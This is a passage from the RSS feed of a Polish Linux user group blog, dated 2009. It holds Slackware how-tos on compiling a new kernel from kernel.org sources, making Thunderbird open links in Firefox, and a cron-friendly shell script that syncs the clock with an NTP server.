		<category><![CDATA[Instalacja]]></category>
		<category><![CDATA[Kernel]]></category>
		<category><![CDATA[Slackware]]></category>
		<category><![CDATA[Upgrade]]></category>
		<guid isPermaLink="false">http://www.klodzko.linux.pl/?p=745</guid>

					<description><![CDATA[Na początek logujemy się na konto root i przechodzimy do katalogu /usr/src su cd /usr/src następnie usuwamy stare dowiązanie do źródeł kernela rm linux teraz pora na pobranie najnowszego kernela z kernel.org (na dzień dzisiejszy 2.6.31.5) wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.31.5.tar.bz2 gdy wget zakończy pracę rozpakowujemy jajko tar -xjvf linux-2.6.31.5.tar.bz2 i tworzymy nowe dowiązanie ln -s linux-2.6.31.5 linux [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Na początek logujemy się na konto root i przechodzimy do katalogu /usr/src</p>
<blockquote><p>su<br />
cd /usr/src</p></blockquote>
<p>następnie usuwamy stare dowiązanie do źródeł kernela</p>
<blockquote><p>rm linux</p></blockquote>
<p>teraz pora na pobranie najnowszego kernela z kernel.org <em>(na dzień dzisiejszy 2.6.31.5)</em></p>
<blockquote><p>wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.31.5.tar.bz2</p></blockquote>
<p>gdy wget zakończy pracę rozpakowujemy jajko</p>
<blockquote><p>tar -xjvf linux-2.6.31.5.tar.bz2</p></blockquote>
<p>i tworzymy nowe dowiązanie</p>
<blockquote><p>ln -s linux-2.6.31.5 linux</p></blockquote>
<p>teraz przechodzimy do katalogu z kernelem i wykonujemy następujące operacje:</p>
<blockquote><p>cd /usr/src/linux</p></blockquote>
<p>kopiowanie obecnego configa</p>
<blockquote><p>zcat /proc/config.gz &gt; /usr/src/linux/.config</p></blockquote>
<p>kompilacja, instalacja modułów, budowanie kernela, instalacja nowego kernela</p>
<blockquote><p>make<br />
make modules_install<br />
make bzImage<br />
make install</p></blockquote>
<p>Tworzenie i instalacja nowych nagłówków kernela <em>(kernel headers)</em></p>
<blockquote><p>make headers_check<br />
make headers_install INSTALL_HDR_PATH=/usr/include</p></blockquote>
<p>Teraz tylko reboot i jeżeli wszystko przebiegło pomyślnie to cieszymy się nowym kernelem.</p>
<p>(Po instalacji kernela dla komputerów z kartami graficznymi nvidia konieczna jest ponowna instalacja sterownika)</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.klodzko.linux.pl/2009/10/blyskawiczna-aktualizacja-kernela-do-najnowszej-wersji-z-kernel-org-w-slackware/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Integracja thunderbirda z przeglądarką mozilla firefox.</title>
		<link>https://www.klodzko.linux.pl/2009/09/integracja-thunderbirda-z-przegladarka-mozilla-firefox/</link>
					<comments>https://www.klodzko.linux.pl/2009/09/integracja-thunderbirda-z-przegladarka-mozilla-firefox/#respond</comments>
		
		<dc:creator><![CDATA[K.W.]]></dc:creator>
		<pubDate>Wed, 30 Sep 2009 19:58:15 +0000</pubDate>
				<category><![CDATA[Artykuły]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[integracja]]></category>
		<category><![CDATA[mozilla]]></category>
		<category><![CDATA[thunderbird]]></category>
		<category><![CDATA[user_pref]]></category>
		<guid isPermaLink="false">http://www.klodzko.linux.pl/?p=721</guid>

					<description><![CDATA[W dystrybucji Slackware po zainstalowaniu thunderbirda nie da się otworzyć odnośników w przeglądarce (brak reakcji po kliknięciu na link). Istnieje prosty sposób aby rozwiązać ten problem. Otwieramy do edycji plik: freerider@niewinny:~$ nano ~/.thunderbird/xxxxxx.default/prefs.js następnie na końcu pliku dopisujemy: user_pref(&#8222;network.cookie.prefsMigrated&#8221;, true); user_pref(&#8222;network.protocol-handler.app.http&#8221;, &#8222;/usr/bin/firefox&#8221;); user_pref(&#8222;network.protocol-handler.app.https&#8221;, &#8222;/usr/bin/firefox&#8221;); Teraz tylko restart thunderbirda i odnośniki będą otwierać sie w mozilli [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>W dystrybucji Slackware po zainstalowaniu thunderbirda<br />
nie da się otworzyć odnośników w przeglądarce <em>(brak reakcji po kliknięciu na link).</em><br />
Istnieje prosty sposób aby rozwiązać ten problem.</p>
<p>Otwieramy do edycji plik:</p>
<blockquote><p>freerider@niewinny:~$ nano ~/.thunderbird/xxxxxx.default/prefs.js</p></blockquote>
<p>następnie na końcu pliku dopisujemy:</p>
<blockquote><p>user_pref(&#8222;network.cookie.prefsMigrated&#8221;, true);<br />
user_pref(&#8222;network.protocol-handler.app.http&#8221;, &#8222;/usr/bin/firefox&#8221;);<br />
user_pref(&#8222;network.protocol-handler.app.https&#8221;, &#8222;/usr/bin/firefox&#8221;);</p></blockquote>
<p>Teraz tylko restart thunderbirda i odnośniki będą otwierać sie w mozilli firefox.</p>
<p><em>Autor: <a href="mailto:admin@klodzko.linux.pl">Krzysztof Wnuk</a></em></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.klodzko.linux.pl/2009/09/integracja-thunderbirda-z-przegladarka-mozilla-firefox/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Aktualizacja czasu systemowego z serwerem czasu (Public NTP)</title>
		<link>https://www.klodzko.linux.pl/2009/09/aktualizacja-czasu-systemowego-z-serwerem-czasu-public-ntp/</link>
					<comments>https://www.klodzko.linux.pl/2009/09/aktualizacja-czasu-systemowego-z-serwerem-czasu-public-ntp/#respond</comments>
		
		<dc:creator><![CDATA[K.W.]]></dc:creator>
		<pubDate>Tue, 15 Sep 2009 17:52:00 +0000</pubDate>
				<category><![CDATA[Artykuły]]></category>
		<category><![CDATA[Public NTP]]></category>
		<category><![CDATA[synchronizacja czasu]]></category>
		<guid isPermaLink="false">http://www.klodzko.linux.pl/?p=686</guid>

					<description><![CDATA[Do poprawnego działania skryptu wymagany jest zainstalowany pakiet ntp. Na początek tworzymy sobie pusty plik ntp.sh (touch ntp.sh) i nadajemy mu parametr wykonywalności (chmod +x ntp.sh). Następnie otwieramy plik ntp.sh w swoim ulubionym edytorze i wpisujemy do niego: #!/bin/sh SERVER=&#8221;193.138.118.2&#8243; LOG=&#8221;/var/log/messages&#8221; DOM=`date +%d` DON=`date +%b` NOW=`date +%X` if /usr/sbin/ntpdate -u $SERVER ; then /sbin/hwclock &#8211;systohc [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Do poprawnego działania skryptu wymagany jest zainstalowany pakiet <em><a href="http://packages.slackware.it/package.php?q=12.2/ntp-4.2.4p5-i486-2" target="_blank">ntp</a></em>.<br />
Na początek tworzymy sobie pusty plik ntp.sh <em>(touch ntp.sh)</em><br />
i nadajemy mu parametr wykonywalności <em>(chmod +x ntp.sh)</em>.<br />
Następnie otwieramy plik ntp.sh w swoim ulubionym edytorze i wpisujemy do niego:</p>
<blockquote><p>#!/bin/sh</p>
<p>SERVER=&#8221;193.138.118.2&#8243;<br />
LOG=&#8221;/var/log/messages&#8221;<br />
DOM=`date +%d`<br />
DON=`date +%b`<br />
NOW=`date +%X`</p>
<p>if<br />
/usr/sbin/ntpdate -u $SERVER ; then<br />
/sbin/hwclock &#8211;systohc<br />
fi</p>
<p>echo &#8222;$DON $DOM $NOW &#8211; Czas zostal zaaktualizowany z serwera $SERVER&#8221; &gt;&gt; $LOG</p></blockquote>
<p>zapisujemy i wychodzimy z edytora.<br />
Teraz można skrypt ntp.sh odpalić ręcznie <em>(z roota  ./ntp.sh)</em> lub przenieść<br />
do katalogu cron.<em>(daily|weekly|monthly) </em>aby byl wywoływany z crona raz na dzień, tydzień lub miesiąc.</p>
<p>gotowy skrypt można pobrać <a href="http://klodzko.linux.pl/ntp.sh.tar.gz"><strong><em>tutaj</em></strong></a></p>
<p><em>Autor: <a href="mailto:admin@klodzko.linux.pl">Krzysztof Wnuk</a></em></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.klodzko.linux.pl/2009/09/aktualizacja-czasu-systemowego-z-serwerem-czasu-public-ntp/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
